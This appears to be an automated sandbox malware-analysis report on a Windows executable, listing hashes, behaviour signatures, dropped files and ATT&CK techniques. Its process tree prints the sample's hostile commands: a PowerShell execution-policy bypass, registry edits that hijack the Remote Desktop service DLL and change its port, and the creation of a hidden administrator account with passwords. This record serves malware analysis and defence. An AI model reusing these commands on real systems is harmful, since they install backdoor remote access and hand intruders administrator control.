Analysis

  • max time kernel
    141s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12-11-2020 14:36

General

  • Target

    668cb262f0e7473c0bd4b254463671acc74502e7e45a450ec5421a217cea3671.exe

  • Size

    3.1MB

  • MD5

    7f18a2b5f73d5a3b257506d2a899409f

  • SHA1

    07a521fdbd2c61aba059a7b4731658d9ea993d06

  • SHA256

    668cb262f0e7473c0bd4b254463671acc74502e7e45a450ec5421a217cea3671

  • SHA512

    e3260e9de862aeb3609db9488c0e34aa541f784e668085be8991d09e48a4659805953a8af0cdc4f975c8b55f37cac3f4b33b159ce9cd44f260f4c80ed0f0ea6b

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 67 IoCs
  • Suspicious use of WriteProcessMemory 70 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\668cb262f0e7473c0bd4b254463671acc74502e7e45a450ec5421a217cea3671.exe
    "C:\Users\Admin\AppData\Local\Temp\668cb262f0e7473c0bd4b254463671acc74502e7e45a450ec5421a217cea3671.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1304
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2592
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kzc5igy0\kzc5igy0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1548
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91A7.tmp" "c:\Users\Admin\AppData\Local\Temp\kzc5igy0\CSC3F453D1AC62B4339B3BAB03DA4811FC0.TMP"
          4⤵
            PID:360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:360
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:560
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:2544
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3976
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2568
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2160
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1272
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2112
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:360
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2596
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:796
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1524
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:500
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2584
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:1120
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3408
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1564
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2160
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2068
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc tnNCKq0b /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2576
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc tnNCKq0b /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:416
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc tnNCKq0b /add
                          3⤵
                            PID:2240
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1572
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3928
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:2144
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2096
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2100
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                              3⤵
                                PID:2136
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2116
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2416
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:2568
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc tnNCKq0b
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1768
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc tnNCKq0b
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3400
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc tnNCKq0b
                                  3⤵
                                    PID:2268
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C net user wgautilacc 1234
                                1⤵
                                  PID:2112
                                  • C:\Windows\system32\net.exe
                                    net user wgautilacc 1234
                                    2⤵
                                      PID:1620
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 1234
                                        3⤵
                                          PID:416

                                    Network

                                    MITRE ATT&CK Matrix ATT&CK v6

                                    Persistence

                                    Account Manipulation

                                    1
                                    T1098

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1060

                                    Modify Existing Service

                                    1
                                    T1031

                                    Defense Evasion

                                    Modify Registry

                                    3
                                    T1112

                                    Lateral Movement

                                    Remote Desktop Protocol

                                    1
                                    T1076

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Temp\RES91A7.tmp
                                      MD5

                                      53d6f4b28e5ecf324f1d9917546f70ec

                                      SHA1

                                      77bdc9b7366c9bc6cdd71a9305ee1e3cc352f9f4

                                      SHA256

                                      26ad2a6aea853ad47ec29e67f6a700aca7666003134acb0767211d264c0507d0

                                      SHA512

                                      6e6eea503ba843756e4fd94260559a256bcdbb3eb17456181c8bcb1649c9c35d727b2a1f1d634993a7d5c3d8d19f37f20f1fb0729b0b91979b16334cac127ed2

                                    • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                      MD5

                                      41d1a9d1cbee90f1e5f27fdfb299f8b8

                                      SHA1

                                      1e9ac27006a7c364649265246fccbd719418ceab

                                      SHA256

                                      0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

                                      SHA512

                                      f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

                                    • C:\Users\Admin\AppData\Local\Temp\kzc5igy0\kzc5igy0.dll
                                      MD5

                                      e3e64e44fb5baf9e5bcad1d290446caf

                                      SHA1

                                      50ee8f4601ea2b614c98cf5f530fa07326f5ae71

                                      SHA256

                                      fce939eb2f960a401aeb0f54116c9fd286fde0e11be62a3cab0a891192b8e1bb

                                      SHA512

                                      db027348b409b11f6073a923108e001906bdb8b5f76c8ef162af960ff607abe3e6ea22e6e06fbf4a460d319abf19936a16a5dadc814812f2822892725df92a78

                                    • \??\c:\Users\Admin\AppData\Local\Temp\kzc5igy0\CSC3F453D1AC62B4339B3BAB03DA4811FC0.TMP
                                      MD5

                                      74adc5ffbac9b9c909a1110b54ba3146

                                      SHA1

                                      bcaa51aed80f047b85a70bf494f22d04a83dd42d

                                      SHA256

                                      8012489cb71587c5585cfc83da12db7a86a263fac4ba0b5c8a9d5eb6916a10bd

                                      SHA512

                                      29fc57e7a252c1d67738677397f3a379cc40da9db7bf6dd36e5660eadc1cc9be48e5a08c8313ee50b00a887d00953a207ae72999ffa73f5c68148670e5f6ed2d

                                    • \??\c:\Users\Admin\AppData\Local\Temp\kzc5igy0\kzc5igy0.0.cs
                                      MD5

                                      8e55cb0ca998472ab6d3e295e0c4dd50

                                      SHA1

                                      407d07a29b89fc3afc246c0680d5857e3f51019d

                                      SHA256

                                      63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

                                      SHA512

                                      c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

                                    • \??\c:\Users\Admin\AppData\Local\Temp\kzc5igy0\kzc5igy0.cmdline
                                      MD5

                                      cc3dd6dc5f5c6baf6b6e2b0c60454415

                                      SHA1

                                      0bc421b82555cf63261f1aeef6f33df09a9a8b2e

                                      SHA256

                                      105d56d6d7e2409ae2d3943ebed43aca382b0d945a8a6b2eeb0fdcf65bc7816b

                                      SHA512

                                      6c1b8906ee640a9ac68530e3a4aa0e0a3cb4ea20deb8cc4acf3a5303690a5fe01974d8df5f38fcf41d9ec34a3441672608b2588e5b0068b5bff0082e17903972

                                    • \Windows\Branding\mediasrv.png
                                      MD5

                                      37fb7ba711ffbe9d6ebb27d54e827966

                                      SHA1

                                      4d4d9303e011bcb14720b24239a1aacd58122f47

                                      SHA256

                                      81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

                                      SHA512

                                      3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

                                    • \Windows\Branding\mediasvc.png
                                      MD5

                                      2f916498a393e2f0d008d33a74c062ba

                                      SHA1

                                      404d52d4253ef3843ae3f2c4aff050f37fcd3f08

                                      SHA256

                                      d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

                                      SHA512

                                      d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

                                    • memory/360-11-0x0000000000000000-mapping.dmp
                                    • memory/360-25-0x0000000000000000-mapping.dmp
                                    • memory/360-37-0x0000000000000000-mapping.dmp
                                    • memory/360-27-0x00007FF8D8C10000-0x00007FF8D95FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/416-47-0x0000000000000000-mapping.dmp
                                    • memory/416-60-0x0000000000000000-mapping.dmp
                                    • memory/500-41-0x0000000000000000-mapping.dmp
                                    • memory/560-30-0x0000000000000000-mapping.dmp
                                    • memory/796-39-0x0000000000000000-mapping.dmp
                                    • memory/1120-57-0x0000000000000000-mapping.dmp
                                    • memory/1272-35-0x0000000000000000-mapping.dmp
                                    • memory/1304-1-0x0000000000D90000-0x0000000000D91000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/1524-40-0x0000000000000000-mapping.dmp
                                    • memory/1548-8-0x0000000000000000-mapping.dmp
                                    • memory/1568-19-0x00007FF8D8C10000-0x00007FF8D95FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/1568-18-0x0000000000000000-mapping.dmp
                                    • memory/1620-59-0x0000000000000000-mapping.dmp
                                    • memory/2068-46-0x0000000000000000-mapping.dmp
                                    • memory/2100-51-0x0000000000000000-mapping.dmp
                                    • memory/2112-36-0x0000000000000000-mapping.dmp
                                    • memory/2136-52-0x0000000000000000-mapping.dmp
                                    • memory/2144-50-0x0000000000000000-mapping.dmp
                                    • memory/2160-34-0x0000000000000000-mapping.dmp
                                    • memory/2160-45-0x0000000000000000-mapping.dmp
                                    • memory/2240-48-0x0000000000000000-mapping.dmp
                                    • memory/2268-56-0x0000000000000000-mapping.dmp
                                    • memory/2416-53-0x0000000000000000-mapping.dmp
                                    • memory/2544-31-0x0000000000000000-mapping.dmp
                                    • memory/2568-33-0x0000000000000000-mapping.dmp
                                    • memory/2568-54-0x0000000000000000-mapping.dmp
                                    • memory/2584-42-0x0000000000000000-mapping.dmp
                                    • memory/2592-5-0x000001AA56120000-0x000001AA56121000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2592-4-0x000001AA55FB0000-0x000001AA55FB1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2592-15-0x000001AA56100000-0x000001AA56101000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2592-2-0x0000000000000000-mapping.dmp
                                    • memory/2592-16-0x000001AA5E860000-0x000001AA5E861000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2592-17-0x000001AA5EBF0000-0x000001AA5EBF1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2592-3-0x00007FF8D8C10000-0x00007FF8D95FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/2592-6-0x000001AA56590000-0x000001AA56591000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/2596-38-0x0000000000000000-mapping.dmp
                                    • memory/2732-23-0x00007FF8D8C10000-0x00007FF8D95FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/2732-21-0x0000000000000000-mapping.dmp
                                    • memory/3400-55-0x0000000000000000-mapping.dmp
                                    • memory/3408-58-0x0000000000000000-mapping.dmp
                                    • memory/3928-49-0x0000000000000000-mapping.dmp
                                    • memory/3976-32-0x0000000000000000-mapping.dmp